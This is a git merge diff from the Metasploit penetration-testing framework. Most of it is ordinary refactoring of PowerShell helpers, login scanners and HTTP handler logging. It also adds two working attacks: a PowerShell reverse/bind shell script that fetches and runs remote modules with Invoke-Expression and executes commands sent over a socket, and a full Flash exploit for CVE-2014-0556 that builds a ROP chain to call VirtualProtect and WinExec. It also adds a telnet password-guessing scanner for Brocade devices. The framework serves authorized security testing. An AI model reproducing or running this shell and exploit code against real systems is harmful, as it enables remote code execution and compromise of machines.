Merge branch 'master' into staging/rails-4.0

Conflicts:
	Gemfile.lock
	plugins/nessus.rb
This commit is contained in:
Matt Buck 2015-04-28 15:33:36 -05:00
commit 8163c3cdda
292 changed files with 8979 additions and 2540 deletions

View File

@ -56,7 +56,7 @@ PATH
bcrypt
jsobfu (~> 0.2.0)
json
meterpreter_bins (= 0.0.21)
meterpreter_bins (= 0.0.22)
msgpack
nokogiri
packetfu (= 1.1.9)
@ -152,7 +152,7 @@ GEM
json (1.8.2)
mail (2.6.3)
mime-types (>= 1.16, < 3)
meterpreter_bins (0.0.21)
meterpreter_bins (0.0.22)
method_source (0.8.2)
mime-types (2.4.3)
mini_portile (0.6.2)

Binary file not shown.

View File

@ -0,0 +1,59 @@
# Powerfun - Written by Ben Turner & Dave Hardy
function Get-Webclient
{
$wc = New-Object -TypeName Net.WebClient
$wc.UseDefaultCredentials = $true
$wc.Proxy.Credentials = $wc.Credentials
$wc
}
function powerfun
{
Param(
[String]$Command,
[String]$Download
)
Process {
$modules = @(MODULES_REPLACE)
if ($Command -eq "bind")
{
$listener = [System.Net.Sockets.TcpListener]LPORT_REPLACE
$listener.start()
$client = $listener.AcceptTcpClient()
}
if ($Command -eq "reverse")
{
$client = New-Object System.Net.Sockets.TCPClient("LHOST_REPLACE",LPORT_REPLACE)
}
$stream = $client.GetStream()
[byte[]]$bytes = 0..255|%{0}
if ($Download -eq "true")
{
ForEach ($module in $modules)
{
(Get-Webclient).DownloadString($module)|Invoke-Expression
}
}
$sendbytes = ([text.encoding]::ASCII).GetBytes("Windows PowerShell running as user " + $env:username + " on " + $env:computername + "`nCopyright (C) 2015 Microsoft Corporation. All rights reserved.`n`n")
$stream.Write($sendbytes,0,$sendbytes.Length)
$sendbytes = ([text.encoding]::ASCII).GetBytes('PS ' + (Get-Location).Path + '>')
$stream.Write($sendbytes,0,$sendbytes.Length)
while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0)
{
$EncodedText = New-Object -TypeName System.Text.ASCIIEncoding
$data = $EncodedText.GetString($bytes,0, $i)
$sendback = (Invoke-Expression -Command $data 2>&1 | Out-String )
$sendback2 = $sendback + 'PS ' + (Get-Location).Path + '> '
$x = ($error[0] | Out-String)
$error.clear()
$sendback2 = $sendback2 + $x
$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2)
$stream.Write($sendbyte,0,$sendbyte.Length)
$stream.Flush()
}
$client.Close()
$listener.Stop()
}
}

View File

@ -22,6 +22,7 @@ else:
# this MUST be imported for urllib to work on OSX
try:
import SystemConfiguration as osxsc
osxsc.SCNetworkInterfaceCopyAll()
has_osxsc = True
except ImportError:
has_osxsc = False

182
external/source/exploits/CVE-2014-0556/Main.as vendored Executable file
View File

@ -0,0 +1,182 @@
// Build how to:
// 1. Download the AIRSDK, and use its compiler.
// 2. Download the Flex SDK (4.6)
// 3. Copy the Flex SDK libs (<FLEX_SDK>/framework/libs) to the AIRSDK folder (<AIR_SDK>/framework/libs)
// (all of them, also, subfolders, specially mx, necessary for the Base64Decoder)
// 4. Build with: mxmlc -o msf.swf Main.as
// Original code by @hdarwin89 // http://hacklab.kr/cve-2014-0556-%EB%B6%84%EC%84%9D/
// Modified to be used from msf
package
{
import flash.display.Sprite
import flash.display.BitmapData
import flash.geom.Rectangle
import flash.utils.ByteArray
import flash.display.LoaderInfo
import mx.utils.Base64Decoder
public class Main extends Sprite
{
private var bv:Vector.<ByteArray> = new Vector.<ByteArray>(12800)
private var uv:Vector.<Object> = new Vector.<Object>(12800)
private var bd:BitmapData = new BitmapData(128, 16)
private var i:uint = 0
public function Main()
{
var b64:Base64Decoder = new Base64Decoder()
b64.decode(LoaderInfo(this.root.loaderInfo).parameters.sh)
var payload:String = b64.toByteArray().toString()
for (i = 0; i < bv.length; i++) {
bv[i] = new ByteArray()
bv[i].length = 0x2000
bv[i].position = 0xFFFFF000
}
for (i = 0; i < bv.length; i++)
if (i % 2 == 0) bv[i] = null
for (i = 0; i < uv.length; i++) {
uv[i] = new Vector.<uint>(1022)
}
bd.copyPixelsToByteArray(new Rectangle(0, 0, 128, 16), bv[6401])
for (i = 0; ; i++)
if (uv[i].length == 0xffffffff) break
for (var i2:uint = 1; i2 < uv.length; i2++) {
if (i == i2) continue
uv[i2] = new Vector.<Object>(1014)
uv[i2][0] = bv[6401]
uv[i2][1] = this
}
uv[i][0] = uv[i][0xfffffc03] - 0x18 + 0x1000
bv[6401].endian = "littleEndian"
bv[6401].length = 0x500000
var buffer:uint = vector_read(vector_read(uv[i][0xfffffc08] + 0x40 - 1) + 8) + 0x100000
var main:uint = uv[i][0xfffffc09] - 1
var vtable:uint = vector_read(main)
vector_write(vector_read(uv[i][0xfffffc08] + 0x40 - 1) + 8)
vector_write(vector_read(uv[i][0xfffffc08] + 0x40 - 1) + 16, 0xffffffff)
byte_write(uv[i][0] + 4, byte_read(uv[i][0] - 0x1000 + 8))
byte_write(uv[i][0])
var flash:uint = base(vtable)
var winmm:uint = module("winmm.dll", flash)
var kernel32:uint = module("kernel32.dll", winmm)
var virtualprotect:uint = procedure("VirtualProtect", kernel32)
var winexec:uint = procedure("WinExec", kernel32)
var xchgeaxespret:uint = gadget("c394", 0x0000ffff, flash)
var xchgeaxesiret:uint = gadget("c396", 0x0000ffff, flash)
byte_write(buffer + 0x30000, "\xb8", false); byte_write(0, vtable, false) // mov eax, vtable
byte_write(0, "\xbb", false); byte_write(0, main, false) // mov ebx, main
byte_write(0, "\x89\x03", false) // mov [ebx], eax
byte_write(0, "\x87\xf4\xc3", false) // xchg esp, esi # ret
byte_write(buffer + 0x100, payload, true)
byte_write(buffer + 0x20070, xchgeaxespret)
byte_write(buffer + 0x20000, xchgeaxesiret)
byte_write(0, virtualprotect)
// VirtualProtect
byte_write(0, winexec)
byte_write(0, buffer + 0x30000)
byte_write(0, 0x1000)
byte_write(0, 0x40)
byte_write(0, buffer + 0x80)
// WinExec
byte_write(0, buffer + 0x30000)
byte_write(0, buffer + 0x100)
byte_write(0)
byte_write(main, buffer + 0x20000)
this.toString()
}
private function vector_write(addr:uint, value:uint = 0):void
{
addr > uv[i][0] ? uv[i][(addr - uv[i][0]) / 4 - 2] = value : uv[i][0xffffffff - (uv[i][0] - addr) / 4 - 1] = value
}
private function vector_read(addr:uint):uint
{
return addr > uv[i][0] ? uv[i][(addr - uv[i][0]) / 4 - 2] : uv[i][0xffffffff - (uv[i][0] - addr) / 4 - 1]
}
private function byte_write(addr:uint, value:* = 0, zero:Boolean = true):void
{
if (addr) bv[6401].position = addr
if (value is String) {
for (var i:uint; i < value.length; i++) bv[6401].writeByte(value.charCodeAt(i))
if (zero) bv[6401].writeByte(0)
} else bv[6401].writeUnsignedInt(value)
}
private function byte_read(addr:uint, type:String = "dword"):uint
{
bv[6401].position = addr
switch(type) {
case "dword":
return bv[6401].readUnsignedInt()
case "word":
return bv[6401].readUnsignedShort()
case "byte":
return bv[6401].readUnsignedByte()
}
return 0
}
private function base(addr:uint):uint
{
addr &= 0xffff0000
while (true) {
if (byte_read(addr) == 0x00905a4d) return addr
addr -= 0x10000
}
return 0
}
private function module(name:String, addr:uint):uint
{
var iat:uint = addr + byte_read(addr + byte_read(addr + 0x3c) + 0x80), i:int = -1
while (true) {
var entry:uint = byte_read(iat + (++i) * 0x14 + 12)
if (!entry) throw new Error("FAIL!");
bv[6401].position = addr + entry
if (bv[6401].readUTFBytes(name.length).toUpperCase() == name.toUpperCase()) break
}
return base(byte_read(addr + byte_read(iat + i * 0x14 + 16)))
}
private function procedure(name:String, addr:uint):uint
{
var eat:uint = addr + byte_read(addr + byte_read(addr + 0x3c) + 0x78)
var numberOfNames:uint = byte_read(eat + 0x18)
var addressOfFunctions:uint = addr + byte_read(eat + 0x1c)
var addressOfNames:uint = addr + byte_read(eat + 0x20)
var addressOfNameOrdinals:uint = addr + byte_read(eat + 0x24)
for (var i:uint = 0; ; i++) {
var entry:uint = byte_read(addressOfNames + i * 4)
bv[6401].position = addr + entry
if (bv[6401].readUTFBytes(name.length+2).toUpperCase() == name.toUpperCase()) break
}
return addr + byte_read(addressOfFunctions + byte_read(addressOfNameOrdinals + i * 2, "word") * 4)
}
private function gadget(gadget:String, hint:uint, addr:uint):uint
{
var find:uint = 0
var limit:uint = byte_read(addr + byte_read(addr + 0x3c) + 0x50)
var value:uint = parseInt(gadget, 16)
for (var i:uint = 0; i < limit - 4; i++) if (value == (byte_read(addr + i) & hint)) break
return addr + i
}
}
}

View File

@ -96,7 +96,7 @@ class JavaClass < ExeFormat
when 'NameAndType'
@info = ConstantNameAndType.decode(c)
else
raise 'unkown constant tag'
raise 'unknown constant tag'
return
end
end

View File

@ -0,0 +1,122 @@
require 'msf/core'
require 'metasploit/framework/telnet/client'
require 'metasploit/framework/login_scanner/base'
require 'metasploit/framework/login_scanner/rex_socket'
module Metasploit
module Framework
module LoginScanner
# This is based off of the telnet LoginScanner. We had to role our own,
# based on hdm's recommendation, since we're not trying to login to telnet,
# but we're actually doing the escalated privileges (enable) login.
class Brocade_Telnet
include Metasploit::Framework::LoginScanner::Base
include Metasploit::Framework::LoginScanner::RexSocket
include Metasploit::Framework::Telnet::Client
CAN_GET_SESSION = true
DEFAULT_PORT = 23
LIKELY_PORTS = [ DEFAULT_PORT ]
LIKELY_SERVICE_NAMES = [ 'telnet' ]
PRIVATE_TYPES = [ :password ]
REALM_KEY = nil
# @!attribute verbosity
# The timeout to wait for the telnet banner.
#
# @return [Fixnum]
attr_accessor :banner_timeout
# @!attribute verbosity
# The timeout to wait for the response from a telnet command.
#
# @return [Fixnum]
attr_accessor :telnet_timeout
validates :banner_timeout,
presence: true,
numericality: {
only_integer: true,
greater_than_or_equal_to: 1
}
validates :telnet_timeout,
presence: true,
numericality: {
only_integer: true,
greater_than_or_equal_to: 1
}
# (see {Base#attempt_login})
def attempt_login(credential)
result_options = {
credential: credential,
host: host,
port: port,
protocol: 'tcp',
service_name: 'telnet'
}
begin
if connect_reset_safe == :refused
result_options[:status] = Metasploit::Model::Login::Status::UNABLE_TO_CONNECT
else
if busy_message?
self.sock.close unless self.sock.closed?
result_options[:status] = Metasploit::Model::Login::Status::UNABLE_TO_CONNECT
end
end
unless result_options[:status]
raw_send("enable\r\n") #send the enable command
unless password_prompt?
send_user(credential.public)
end
recvd_sample = @recvd.dup
# Allow for slow echos
1.upto(10) do
recv_telnet(self.sock, 0.10) unless @recvd.nil? or @recvd[/#{@password_prompt}/]
end
if password_prompt?(credential.public)
send_pass(credential.private)
# Allow for slow echos
1.upto(10) do
recv_telnet(self.sock, 0.10) if @recvd == recvd_sample
end
end
if login_succeeded?
result_options[:status] = Metasploit::Model::Login::Status::SUCCESSFUL
else
result_options[:status] = Metasploit::Model::Login::Status::INCORRECT
end
end
rescue ::EOFError, Errno::ECONNRESET, Rex::ConnectionError, Rex::ConnectionTimeout, ::Timeout::Error
result_options[:status] = Metasploit::Model::Login::Status::UNABLE_TO_CONNECT
end
::Metasploit::Framework::LoginScanner::Result.new(result_options)
end
private
# This method sets the sane defaults for things
# like timeouts and TCP evasion options
def set_sane_defaults
self.connection_timeout ||= 30
self.port ||= DEFAULT_PORT
self.banner_timeout ||= 25
self.telnet_timeout ||= 10
self.connection_timeout ||= 30
self.max_send_size ||= 0
self.send_delay ||= 0
# Shim to set up the ivars from the old Login mixin
create_login_ivars
end
end
end
end
end

View File

@ -224,7 +224,7 @@ module Metasploit
configure_http_client(cli)
if realm
cli.set_config('domain' => credential.realm)
cli.set_config('domain' => realm)
end
begin

View File

@ -17,6 +17,40 @@ module Metasploit
PRIVATE_TYPES = [ :password ]
REALM_KEY = nil
# The number of retries per community string
# @return [Fixnum]
attr_accessor :retries
# The SNMP version to scan
# @return [String]
attr_accessor :version
validates :retries,
presence: true,
numericality: {
only_integer: true,
greater_than_or_equal_to: 0
}
validates :version,
presence: true,
inclusion: {
in: ['1', '2c', 'all']
}
# This method returns an array of versions to scan
# @return [Array] An array of versions
def versions
case version
when '1'
[:SNMPv1]
when '2c'
[:SNMPv2c]
when 'all'
[:SNMPv1, :SNMPv2c]
end
end
# This method attempts a single login with a single credential against the target
# @param credential [Credential] The credential object to attmpt to login with
# @return [Metasploit::Framework::LoginScanner::Result] The LoginScanner Result object
@ -29,14 +63,14 @@ module Metasploit
service_name: 'snmp'
}
[:SNMPv1, :SNMPv2c].each do |version|
versions.each do |version|
snmp_client = ::SNMP::Manager.new(
:Host => host,
:Port => port,
:Community => credential.public,
:Version => version,
:Timeout => connection_timeout,
:Retries => 2,
:Retries => retries,
:Transport => ::SNMP::RexUDPTransport,
:Socket => ::Rex::Socket::Udp.create('Context' => { 'Msf' => framework, 'MsfExploit' => framework_module })
)

View File

@ -0,0 +1,36 @@
# -*- coding: binary -*-
require 'msf/base/sessions/command_shell'
class Msf::Sessions::PowerShell < Msf::Sessions::CommandShell
#
# Execute any specified auto-run scripts for this session
#
def process_autoruns(datastore)
# Read the username and hostname from the initial banner
initial_output = shell_read(-1, 0.01)
if initial_output =~ /running as user ([^\s]+) on ([^\s]+)/
username = $1
hostname = $2
self.info = "#{username} @ #{hostname}"
else
self.info = initial_output.gsub(/[\r\n]/, ' ')
end
# Call our parent class's autoruns processing method
super
end
#
# Returns the type of session.
#
def self.type
"powershell"
end
#
# Returns the session description.
#
def desc
"Powershell session"
end
end

View File

@ -35,7 +35,7 @@ module Auxiliary::Login
#
# Some of these regexes borrowed from NeXpose, others added from datasets
#
@login_regex = /(?:log[io]n( name|)|user(name|id|))\s*\:/i
@login_regex = /(?:log[io]n( name|)|user( ?name|id|))\s*\:/i
@password_regex = /(?:password|passwd)\s*\:/i
@false_failure_regex = /(?:(^\s*last)\ login *\:|allows only\ .*\ Telnet\ Client\ License)/i
@failure_regex = /(?:

View File

@ -164,9 +164,7 @@ module Msf::DBManager::Import::Nmap
data[:host] = hobj || addr
data[:info] = extra if not extra.empty?
data[:task] = args[:task]
if p["name"] != "unknown"
data[:name] = p["name"]
end
data[:name] = p['tunnel'] ? "#{p['tunnel']}/#{p['name'] || 'unknown'}" : p['name']
report_service(data)
}
#Parse the scripts output

View File

@ -1218,10 +1218,31 @@ class Exploit < Msf::Module
# Failure tracking
##
# Raises a Msf::Exploit::Failed exception. It overrides the fail_with method
# in lib/msf/core/module.rb
#
# @param reason [String] A constant from Msf::Module::Failure.
# If the reason does not come from there, then it will default to
# Msf::Module::Failure::Unknown.
# @param msg [String] (Optional) A message about the failure.
# @raise [Msf::Exploit::Failed] A custom Msf::Exploit::Failed exception.
# @return [void]
# @see Msf::Module::Failure
# @see Msf::Module#fail_with
# @example
# fail_with(Msf::Module::Failure::NoAccess, 'Unable to login to upload payload')
def fail_with(reason,msg=nil)
self.fail_reason = reason
# The reason being registered here will be used later on, so it's important we don't actually
# provide a made-up one.
allowed_values = Msf::Module::Failure.constants.collect {|e| Msf::Module::Failure.const_get(e)}
if allowed_values.include?(reason)
self.fail_reason = reason
else
self.fail_reason = Msf::Module::Failure::Unknown
end
self.fail_detail = msg
raise Msf::Exploit::Failed, (msg || "No reason given")
raise Msf::Exploit::Failed, (msg || "No failure message given")
end
def report_failure
@ -1276,7 +1297,7 @@ class Exploit < Msf::Module
##
#
# The reason why the exploit was not successful (one of Msf::Exploit::FailReason)
# The reason why the exploit was not successful (one of Msf::Module::Failure)
#
attr_accessor :fail_reason
@ -1393,4 +1414,3 @@ protected
end
end

View File

@ -92,11 +92,7 @@ module Exploit::Remote::HttpServer
def print_error(msg='')
(cli) ? super("#{cli.peerhost.ljust(16)} #{self.shortname} - #{msg}") : super
end
# :category: print_* overrides
# Prepends client and module name if inside a thread with a #cli
def print_debug(msg='')
(cli) ? super("#{cli.peerhost.ljust(16)} #{self.shortname} - #{msg}") : super
end
#
# :category: print_* overrides
# Prepends client and module name if inside a thread with a #cli
@ -126,11 +122,6 @@ module Exploit::Remote::HttpServer
end
# :category: print_* overrides
# Prepends client and module name if inside a thread with a #cli
def vprint_debug(msg='')
(cli) ? super("#{cli.peerhost.ljust(16)} #{self.shortname} - #{msg}") : super
end
# :category: print_* overrides
# Prepends client and module name if inside a thread with a #cli
def vprint_warning(msg='')
(cli) ? super("#{cli.peerhost.ljust(16)} #{self.shortname} - #{msg}") : super
end

View File

@ -205,7 +205,7 @@ module Exploit::Remote::Postgres
# result of "select version()" if authentication was successful.
#
# @return [Hash] A hash containing the version in one of the keys :preauth,
# :auth, or :unkown, depending on how it was determined
# :auth, or :unknown, depending on how it was determined
# @see #postgres_authed_fingerprint
# @see #analyze_auth_error
def postgres_fingerprint(args={})

View File

@ -1,10 +1,8 @@
# -*- coding: binary -*-
require 'rex/exploitation/powershell'
require 'rex/powershell'
module Msf
module Exploit::Powershell
PowershellScript = Rex::Exploitation::Powershell::Script
def initialize(info = {})
super
register_advanced_options(
@ -27,15 +25,13 @@ module Exploit::Powershell
#
# @return [String] Encoded script
def encode_script(script_in)
# Build script object
psh = PowershellScript.new(script_in)
# Invoke enabled modifiers
datastore.select { |k, v| k =~ /^Powershell::(strip|sub)/ and v }.keys.map do |k|
opts = {}
datastore.select { |k, v| k =~ /^Powershell::(strip|sub)/ && v }.keys.map do |k|
mod_method = k.split('::').last.intern
psh.send(mod_method)
opts[mod_method.to_sym] = true
end
psh.encode_code
Rex::Powershell::Command.encode_script(script_in, opts)
end
#
@ -46,16 +42,14 @@ module Exploit::Powershell
# @param eof [String] Marker to indicate the end of file appended to script
#
# @return [String] Compressed script with decompression stub
def compress_script(script_in, eof = nil)
# Build script object
psh = PowershellScript.new(script_in)
# Invoke enabled modifiers
datastore.select { |k, v| k =~ /^Powershell::(strip|sub)/ and v }.keys.map do |k|
def compress_script(script_in, eof=nil)
opts = {}
datastore.select { |k, v| k =~ /^Powershell::(strip|sub)/ && v }.keys.map do |k|
mod_method = k.split('::').last.intern
psh.send(mod_method)
opts[mod_method.to_sym] = true
end
psh.compress_code(eof)
Rex::Powershell::Command.compress_script(script_in, eof, opts)
end
#
@ -69,19 +63,7 @@ module Exploit::Powershell
#
# @return [String] Powershell command line with arguments
def generate_psh_command_line(opts)
if opts[:path] and (opts[:path][-1, 1] != '\\')
opts[:path] << '\\'
end
if opts[:no_full_stop]
binary = 'powershell'
else
binary = 'powershell.exe'
end
args = generate_psh_args(opts)
"#{opts[:path]}#{binary} #{args}"
Rex::Powershell::Command.generate_psh_command_line(opts)
end
#
@ -122,66 +104,7 @@ module Exploit::Powershell
opts[:shorten] = (datastore['Powershell::method'] != 'old')
end
arg_string = ' '
opts.each_pair do |arg, value|
case arg
when :encodedcommand
arg_string << "-EncodedCommand #{value} " if value
when :executionpolicy
arg_string << "-ExecutionPolicy #{value} " if value
when :inputformat
arg_string << "-InputFormat #{value} " if value
when :file
arg_string << "-File #{value} " if value
when :noexit
arg_string << '-NoExit ' if value
when :nologo
arg_string << '-NoLogo ' if value
when :noninteractive
arg_string << '-NonInteractive ' if value
when :mta
arg_string << '-Mta ' if value
when :outputformat
arg_string << "-OutputFormat #{value} " if value
when :sta
arg_string << '-Sta ' if value
when :noprofile
arg_string << '-NoProfile ' if value
when :windowstyle
arg_string << "-WindowStyle #{value} " if value
end
end
# Command must be last (unless from stdin - etc)
if opts[:command]
arg_string << "-Command #{opts[:command]}"
end
# Shorten arg if PSH 2.0+
if opts[:shorten]
# Invoke-Command and Out-File require these options to have
# an additional space before to prevent Powershell code being
# mangled.
arg_string.gsub!(' -Command ', ' -c ')
arg_string.gsub!('-EncodedCommand ', '-e ')
arg_string.gsub!('-ExecutionPolicy ', '-ep ')
arg_string.gsub!(' -File ', ' -f ')
arg_string.gsub!('-InputFormat ', '-i ')
arg_string.gsub!('-NoExit ', '-noe ')
arg_string.gsub!('-NoLogo ', '-nol ')
arg_string.gsub!('-NoProfile ', '-nop ')
arg_string.gsub!('-NonInteractive ', '-noni ')
arg_string.gsub!('-OutputFormat ', '-o ')
arg_string.gsub!('-Sta ', '-s ')
arg_string.gsub!('-WindowStyle ', '-w ')
end
# Strip off first space character
arg_string = arg_string[1..-1]
# Remove final space character
arg_string = arg_string[0..-2] if (arg_string[-1] == ' ')
arg_string
Rex::Powershell::Command.generate_psh_args(opts)
end
#
@ -196,41 +119,15 @@ module Exploit::Powershell
# @return [String] Wrapped powershell code
def run_hidden_psh(ps_code, payload_arch, encoded)
arg_opts = {
noprofile: true,
windowstyle: 'hidden',
noprofile: true,
windowstyle: 'hidden',
}
if encoded
arg_opts[:encodedcommand] = ps_code
else
arg_opts[:command] = ps_code.gsub("'", "''")
end
# Old technique fails if powershell exits..
arg_opts[:noexit] = true if datastore['Powershell::method'] == 'old'
arg_opts[:noexit] = (datastore['Powershell::method'] == 'old')
arg_opts[:shorten] = (datastore['Powershell::method'] != 'old')
ps_args = generate_psh_args(arg_opts)
process_start_info = <<EOS
$s=New-Object System.Diagnostics.ProcessStartInfo
$s.FileName=$b
$s.Arguments='#{ps_args}'
$s.UseShellExecute=$false
$p=[System.Diagnostics.Process]::Start($s)
EOS
process_start_info.gsub!("\n", ';')
archictecure_detection = <<EOS
if([IntPtr]::Size -eq 4){
#{payload_arch == 'x86' ? "$b='powershell.exe'" : "$b=$env:windir+'\\sysnative\\WindowsPowerShell\\v1.0\\powershell.exe'"}
}else{
#{payload_arch == 'x86' ? "$b=$env:windir+'\\syswow64\\WindowsPowerShell\\v1.0\\powershell.exe'" : "$b='powershell.exe'"}
};
EOS
archictecure_detection.gsub!("\n", '')
archictecure_detection + process_start_info
Rex::Powershell::Command.run_hidden_psh(ps_code, payload_arch, encoded, arg_opts)
end
#
@ -263,118 +160,28 @@ EOS
opts[:prepend_sleep] ||= datastore['Powershell::prepend_sleep']
opts[:method] ||= datastore['Powershell::method']
if opts[:encode_inner_payload] && opts[:encode_final_payload]
fail RuntimeError, ':encode_inner_payload and :encode_final_payload are incompatible options'
end
if opts[:no_equals] && !opts[:encode_final_payload]
fail RuntimeError, ':no_equals requires :encode_final_payload option to be used'
end
psh_payload = case opts[:method]
when 'net'
Msf::Util::EXE.to_win32pe_psh_net(framework, pay)
when 'reflection'
Msf::Util::EXE.to_win32pe_psh_reflection(framework, pay)
when 'old'
Msf::Util::EXE.to_win32pe_psh(framework, pay)
when 'msil'
fail RuntimeError, 'MSIL Powershell method no longer exists'
else
fail RuntimeError, 'No Powershell method specified'
end
# Run our payload in a while loop
if opts[:persist]
fun_name = Rex::Text.rand_text_alpha(rand(2) + 2)
sleep_time = rand(5) + 5
vprint_status("Sleep time set to #{sleep_time} seconds")
psh_payload = "function #{fun_name}{#{psh_payload}};"
psh_payload << "while(1){Start-Sleep -s #{sleep_time};#{fun_name};1};"
end
if opts[:prepend_sleep]
if opts[:prepend_sleep].to_i > 0
psh_payload = "Start-Sleep -s #{opts[:prepend_sleep]};" << psh_payload
elsif opts[:prepend_sleep].to_i < 0
vprint_error('Sleep time must be greater than or equal to 0 seconds')
end
end
compressed_payload = compress_script(psh_payload)
encoded_payload = encode_script(psh_payload)
# This branch is probably never taken...
if encoded_payload.length <= compressed_payload.length
smallest_payload = encoded_payload
encoded = true
else
if opts[:encode_inner_payload]
encoded = true
compressed_encoded_payload = encode_script(compressed_payload)
if encoded_payload.length <= compressed_encoded_payload.length
smallest_payload = encoded_payload
else
smallest_payload = compressed_encoded_payload
end
else
smallest_payload = compressed_payload
encoded = false
end
end
# Wrap in hidden runtime / architecture detection
final_payload = run_hidden_psh(smallest_payload, payload_arch, encoded)
command_args = {
noprofile: true,
windowstyle: 'hidden'
}.merge(opts)
if opts[:encode_final_payload]
command_args[:encodedcommand] = encode_script(final_payload)
# If '=' is a bad character pad the payload until Base64 encoded
# payload contains none.
if opts[:no_equals]
while command_args[:encodedcommand].include? '='
final_payload << ' '
command_args[:encodedcommand] = encode_script(final_payload)
end
end
else
if opts[:use_single_quotes]
# Escape Single Quotes
final_payload.gsub!("'", "''")
# Wrap command in quotes
final_payload = "'#{final_payload}'"
end
command_args[:command] = final_payload
end
psh_command = generate_psh_command_line(command_args)
if opts[:remove_comspec]
command = psh_command
else
command = "%COMSPEC% /b /c start /b /min #{psh_command}"
unless opts.key? :shorten
opts[:shorten] = (datastore['Powershell::method'] != 'old')
end
template_path = File.join(Msf::Config.data_directory,
"templates",
"scripts")
command = Rex::Powershell::Command.cmd_psh_payload(pay,
payload_arch,
template_path,
opts)
vprint_status("Powershell command length: #{command.length}")
if command.length > 8191
fail RuntimeError, 'Powershell command length is greater than the command line maximum (8192 characters)'
end
command
end
#
# Useful method cache
#
module PshMethods
include Rex::Exploitation::Powershell::PshMethods
include Rex::Powershell::PshMethods
end
end
end

View File

@ -219,7 +219,7 @@ module Msf
@requirements.each do |k, v|
expected = k != :vuln_test ? v : 'true'
vprint_debug("Comparing requirement: #{k}=#{expected} vs #{k}=#{profile[k.to_sym]}")
vprint_status("Comparing requirement: #{k}=#{expected} vs #{k}=#{profile[k.to_sym]}")
if k == :activex
bad_reqs << k if has_bad_activex?(profile[k.to_sym])
@ -334,7 +334,7 @@ module Msf
when :script
# Gathers target data from a POST request
parsed_body = CGI::parse(Rex::Text.decode_base64(request.body) || '')
vprint_debug("Received sniffed browser data over POST: \n#{parsed_body}.")
vprint_status("Received sniffed browser data over POST: \n#{parsed_body}.")
parsed_body.each { |k, v| update_profile(target_info, k.to_sym, v.first) }
when :headers
# Gathers target data from headers

View File

@ -3,6 +3,7 @@ require 'rex/io/stream_abstraction'
require 'rex/sync/ref'
require 'rex/payloads/meterpreter/patch'
require 'rex/payloads/meterpreter/uri_checksum'
require 'rex/post/meterpreter/packet'
require 'rex/parser/x509_certificate'
require 'msf/core/payload/windows/verify_ssl'
@ -19,6 +20,7 @@ module ReverseHttp
include Msf::Handler
include Rex::Payloads::Meterpreter::UriChecksum
include Msf::Payload::Windows::VerifySsl
include Rex::Post::Meterpreter
#
# Returns the string representation of the handler type
@ -163,7 +165,9 @@ module ReverseHttp
def stop_handler
if self.service
self.service.remove_resource("/")
Rex::ServiceManager.stop_service(self.service) if self.sessions == 0
if self.service.resources.empty? && self.sessions == 0
Rex::ServiceManager.stop_service(self.service)
end
end
end
@ -222,8 +226,6 @@ protected
uuid.arch ||= obj.arch
uuid.platform ||= obj.platform
print_status "#{cli.peerhost}:#{cli.peerport} Request received for #{req.relative_resource}... (UUID:#{uuid.to_s})"
conn_id = nil
if info[:mode] && info[:mode] != :connect
conn_id = generate_uri_uuid(URI_CHECKSUM_CONN, uuid)
@ -233,7 +235,25 @@ protected
# Process the requested resource.
case info[:mode]
when :init_connect
print_status("#{cli.peerhost}:#{cli.peerport} (UUID: #{uuid.to_s}) Redirecting stageless connection ...")
# Handle the case where stageless payloads call in on the same URI when they
# first connect. From there, we tell them to callback on a connect URI that
# was generated on the fly. This means we form a new session for each.
sum = uri_checksum_lookup(:connect)
new_uri = generate_uri_uuid(sum, uuid) + '/'
# This bit is going to need to be validated by the Ruby/MSF masters as I
# am not sure that this is the best way to get a TLV packet out from this
# handler.
# Hurl a TLV back at the caller, and ignore the response
pkt = Packet.new(PACKET_TYPE_RESPONSE, 'core_patch_url')
pkt.add_tlv(TLV_TYPE_TRANS_URL, new_uri)
resp.body = pkt.to_r
when :init_python
print_status("#{cli.peerhost}:#{cli.peerport} (UUID: #{uuid.to_s}) Staging Python payload ...")
url = payload_uri(req) + conn_id + '/'
blob = ""
@ -268,6 +288,7 @@ protected
})
when :init_java
print_status("#{cli.peerhost}:#{cli.peerport} (UUID: #{uuid.to_s}) Staging Java payload ...")
url = payload_uri(req) + conn_id + "/\x00"
blob = ""
@ -296,9 +317,9 @@ protected
})
when :init_native
print_status("#{cli.peerhost}:#{cli.peerport} (UUID: #{uuid.to_s}) Staging Native payload ...")
url = payload_uri(req) + conn_id + "/\x00"
print_status("#{cli.peerhost}:#{cli.peerport} Staging connection for target #{req.relative_resource} received...")
resp['Content-Type'] = 'application/octet-stream'
blob = obj.stage_payload
@ -335,9 +356,10 @@ protected
})
when :connect
print_status("#{cli.peerhost}:#{cli.peerport} (UUID: #{uuid.to_s}) Attaching orphaned/stageless session ...")
resp.body = ""
conn_id = req.relative_resource
print_status("Incoming orphaned or stageless session #{conn_id}, attaching...")
# Short-circuit the payload's handle_connection processing for create_session
create_session(cli, {

View File

@ -38,7 +38,10 @@ module Handler::ReverseHttp::Stageless
host = datastore['LHOST']
host = "[#{host}]" if Rex::Socket.is_ipv6?(host)
url = "http#{opts[:ssl] ? "s" : ""}://#{host}:#{datastore['LPORT']}"
url << "#{generate_uri_uuid_mode(:connect)}/"
# Use the init_connect mode because we're stageless. This will force
# MSF to generate a new URI when the first request is made.
url << "#{generate_uri_uuid_mode(:init_connect)}/"
# invoke the given function to generate the architecture specific payload
opts[:generator].call(url) do |dll|

View File

@ -3,6 +3,8 @@ require 'msf/core'
module Msf
autoload :OptionContainer, 'msf/core/option_container'
###
#
# The module base class is responsible for providing the common interface
@ -276,7 +278,18 @@ class Module
end
#
# Support fail_with for all module types, allow specific classes to override
# Raises a RuntimeError failure message. This is meant to be used for all non-exploits,
# and allows specific classes to override.
#
# @param reason [String] A reason about the failure.
# @param msg [String] (Optional) A message about the failure.
# @raise [RuntimeError]
# @return [void]
# @note If you are writing an exploit, you don't use this API. Instead, please refer to the
# API documentation from lib/msf/core/exploit.rb.
# @see Msf::Exploit#fail_with
# @example
# fail_with('No Access', 'Unable to login')
#
def fail_with(reason, msg=nil)
raise RuntimeError, "#{reason.to_s}: #{msg}"

View File

@ -1,9 +1,4 @@
module Msf::Module::UI::Message::Verbose
# Verbose version of #print_debug
def vprint_debug(msg)
print_debug(msg) if datastore['VERBOSE'] || framework.datastore['VERBOSE']
end
# Verbose version of #print_error
def vprint_error(msg)
print_error(msg) if datastore['VERBOSE'] || framework.datastore['VERBOSE']

View File

